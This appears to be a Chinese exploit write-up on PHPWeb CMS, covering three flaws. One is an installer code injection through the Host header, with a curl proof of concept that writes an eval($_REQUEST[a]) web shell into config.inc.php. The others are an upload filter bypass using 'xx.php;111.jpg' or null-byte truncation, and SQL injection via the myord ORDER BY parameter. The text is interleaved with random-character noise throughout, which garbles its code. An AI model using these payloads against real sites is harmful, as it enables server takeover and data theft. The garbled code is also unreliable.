注入:/ C1 V2 {) ?6 n
; {( A1 X; d& Z: Y% a
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码* V: f1 c6 J; J% E% ?$ b' \2 G6 U
. F' Q3 o$ K: ]$ A% E
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件0 |, o8 t, R3 q- ]1 P$ Y/ X6 A; e
鸡肋2: 有一定安全常识的站长都会删掉 install 目录$ O' @+ M4 D& g* D
* }3 K% v. o1 Z- I W2 ?/ [
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响/ F( @, P5 I: L, _3 b( Y: `% J' o/ h
7 [" S0 I" W3 z9 c; a8 K分析:
+ w/ m' |, K6 r2 E7 O
$ h7 @; g9 B' I: \# Q9 r$ u- L0 a
3 s9 X* L( t2 S$ u- s$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤8 n; i: f' ]0 X- v
' |& w" e4 X% r6 k3 n* E/ U7 s5 m& F
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
# P- K3 O) J- K+ `: b8 V $filestr=str_replace(" ","",$filestr);- ]6 Z1 o! [/ j/ Q, |' o
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);& L! h/ b" p, U! O
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
Q& A/ ? {/ ]6 ]9 s $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
. I9 `+ |+ R$ b' ^ $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
4 {7 Z5 d3 Q- ^2 i $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
* F( k& V% P% n4 a7 X3 U3 q $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);6 C, p- A, f9 B
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);7 t3 C: [' k4 d
- T0 a. P6 {1 e' W# j1 {6 W9 V fwrite(fopen($ConFile,"w"),$filestr,30000);: P: w1 u6 |, G( N" C5 T5 M
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
4 [2 ?2 Y9 L* Q- _6 C& B
9 x$ C# y& p1 Q. L4 i: epoc:7 @ R- R4 i, k2 L4 C0 o7 U, k
% B$ R2 I9 _ c& H( V
?
; v# W6 u, l8 [( ` u' `- s1
3 y4 g' f" o0 E/ Qcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#", e$ d9 l d) i3 p; ^
shell地址: /config.inc.php) k2 H9 Y' F% F P6 ^
跟之前的 phpcms一样 需要远程数据库
- [& O0 c! p3 i/ L
. c, a3 @& P! b% Z' \4 @! }7 j——————————————————–
6 T) J8 I( l) j: d: H上传漏洞(需要进后台):
" A" j- m5 z h) ]漏洞文件: /kedit/upload_cgi/upload.php( Z- M# s4 q% n" x0 h
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
% T' F! j, A2 [2 f$ q: M2 b- N
( L* N7 |0 m5 S7 R" R- r
$ K+ l9 Z L8 D, r<?php
) E( U( s, n9 S7 F# L, a8 i define("ROOTPATH", "../../");% ]% A" u! L/ h3 M, R5 o, m
include(ROOTPATH."includes/admin.inc.php");7 c( c7 E7 P' j' b3 n6 R
NeedAuth(0);
9 U+ B3 ~- E' M: i% _
: C7 Y" ~! E! j3 B* i% V $dt=date("Ymd",time());* j8 s/ h; I5 T
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){/ u9 I( u. `2 C4 v$ x
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
9 @$ E; D# M3 e0 I. a* b, y }
1 K! W# l# r$ d8 N+ d
3 q' o6 Z' l+ `2 w& w6 j. m5 K! \# x //文件保存目录路径8 W6 b; s+ R5 X" k4 t: K3 p
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';% Z5 G/ Z8 h1 r0 Y# E! D" l8 |
echo $save_path;' N+ [) G8 G: k U9 Q
//文件保存目录URL7 X' k% w0 B" ]% _$ q
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
. q: R& N& z* j$ q. m- v% @9 L $ t' E" g! d# G
//定义允许上传的文件扩展名
* o9 ^6 m6 W. Q; w $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
5 h# Z% o8 H/ j: L7 p/ s& Y- ?( Q # `. J8 I) L. F) X2 s+ A5 j9 c9 x& }
//最大文件大小
+ h) n. |- l0 R* G+ K6 X$ j' m $max_size = 1000000;. C6 O* Z' _. C+ C1 X) n; J/ w. G
( _0 {! W! J/ g+ l. S0 |3 b7 I' S- i
//更改目录权限
$ I$ c6 [" s7 G: N# S! O5 S" n9 ? n @mkdir($save_path, 0777);- g! F0 P/ W9 B3 [; B
3 }7 v; H* O/ ?/ l) x //文件的全部路径
9 s7 p r, @4 t: V5 ?; L; q1 T $file_path = $save_path.$_POST['fileName']; //保存文件名9 O# |- G" x5 N. ~: T
2 f9 {8 f1 U0 v5 ?; y //文件URL
?- V9 w. E4 q& _- q) ^. T $file_url = $save_url.$_POST['fileName'];
/ G" N. N. Y: m7 \% C' w//有上传文件时3 t" H9 |! m* \: d7 Z2 `
if (empty($_FILES) === false) {" e) u8 f. q0 O
7 y( |, ~' g0 f3 ]" f ^" C //原文件名
! \) z1 H. l6 s7 l. Q6 z $file_name = $_FILES['fileData']['name'];" Q1 ~. Y( E3 c0 h5 M/ D" U
//服务器上临时文件名- l& t9 E( F7 m. g8 T
$tmp_name = $_FILES['fileData']['tmp_name'];& T- U U* q6 ?
//文件大小7 J8 \4 L3 |# l
$file_size = $_FILES['fileData']['size'];0 e4 s& S5 s' T6 \. c
//检查目录
# g k, v, ]. O1 a3 r3 v if (@is_dir($save_path) === false) {
' I# a. Y/ S0 o alert("上传目录不存在。");
' y5 ]+ u* w m( ? }2 U# z& g* c" m
//检查目录写权限 x2 a0 t$ a* c, J, y/ _" \
if (@is_writable($save_path) === false) {8 S) o V0 E9 @# o
alert("上传目录没有写权限。");3 k+ C; }) R$ ?8 h' C( k8 y2 P
}9 b+ C1 [6 r1 W9 l! S
//检查是否已上传0 z# M8 s" v- B( M3 u
if (@is_uploaded_file($tmp_name) === false) {
5 M6 t5 g0 v$ s; f alert("临时文件可能不是上传文件。");! r0 e5 c( g% g' b5 r
}( ^# t6 I* N' q0 M' m
//检查文件大小
% m4 {% l/ l3 j1 v% F' l: i' h/ Y if ($file_size > $max_size) {
2 [& F& ^, H8 @& J8 k alert("上传文件大小超过限制。");
o( i+ P P9 `$ |% P" T }( f" t2 v% o4 J% h+ D+ p" Q4 U
//获得文件扩展名1 j! N( W0 ]0 \$ F8 B
$temp_arr = explode(".", $_POST['fileName']);
% i% v; I/ b' i6 X3 v $file_ext = array_pop($temp_arr);
( G' f Z) \* R $file_ext = trim($file_ext);) v8 l! B8 r5 x) r2 {7 D0 j! z1 }
$file_ext = strtolower($file_ext);
' G! d# }9 l) b! n& g % ?6 r, G& W; A" x% L8 \
//检查扩展名
1 a! k7 i* n0 r( X if (in_array($file_ext, $ext_arr) === false) { - m, \2 g. W- i# ~
alert("上传文件扩展名是不允许的扩展名。");
" d! |3 N, A8 Y$ k }
/ f2 Q; i# O' G+ V/ M% E % y1 n ]! U% `4 A
//移动文件
$ w9 U3 b' r6 H* C: s/ {& M3 G //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
5 z& `3 \$ k: F2 A5 o if (move_uploaded_file($tmp_name, $file_path) === false) {: s& ?# w) F D- Z/ Y
alert("上传文件失败。");: h* L }7 ^- u) \! Q
}, O' e8 T" h+ F4 t- @; X
8 [$ m U# e$ {' F, N
@chmod($file_path,0666);
, H/ {9 f8 g6 N! {8 O
5 u2 {3 Q" `8 D# q4 q- d ?>
9 @& m) b I' x* _5 ]% q1 E抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227' }) l& V3 U }
! I! U4 B: |8 q8 f- v' j
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
1 n5 T q! Z! T* n1 v# x- a: r. P2 s' t% J
/ E# n" G% p' R/ p- f! ], Y——————————————————' o/ P/ m3 M1 U1 W" U
注入漏洞:+ H: I) r+ c3 e4 m1 d3 Q; o
漏洞文件:search/module/search.php- s, p: m. p, V! V- c. Q
/search/index.php?key=1&myord=1 [sqlinjection]& v+ G7 e" l$ L/ b$ L) X( W
7 }+ g/ e# O4 S- C$ w
. c! a N0 S0 m( @1 e. Y<?php8 n1 U4 ?4 x' A( K: [ Y
// ... 省略 n 行...
/ G' H4 W- {6 [- Y) ~9 p //第18行:' B ^% R0 e% o' z- A& ^9 n3 u3 D! X
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
1 {. q/ T. x. z* U2 a1 a $page=htmlspecialchars($_GET["page"]);6 h5 v% H/ Q0 _
$myord=htmlspecialchars($_GET["myord"]);
" w( {2 C4 O5 g( V9 D
& n% G/ W l, @5 q // ... 省略 n 行.../ }7 B, f; w- U0 j* a4 j# k/ e
$key,$myord 两个参数带入查询
5 a9 F! e) T' U8 y" K0 U //第47行 $key:2 M0 k# J. g6 C: q; e7 ]1 ]
8 ~) u/ [1 e" p: | $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
8 V" I0 B! u3 J - D" P9 ]/ E6 x+ n
//第197行 $myord2 Q: H' e# Q- ^1 B
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入& y% V$ A6 f! Z3 o: u0 ?, g- N7 V# x
% ?4 _. \0 L; |0 Z
?>" q5 S3 T0 @* W+ e; O
|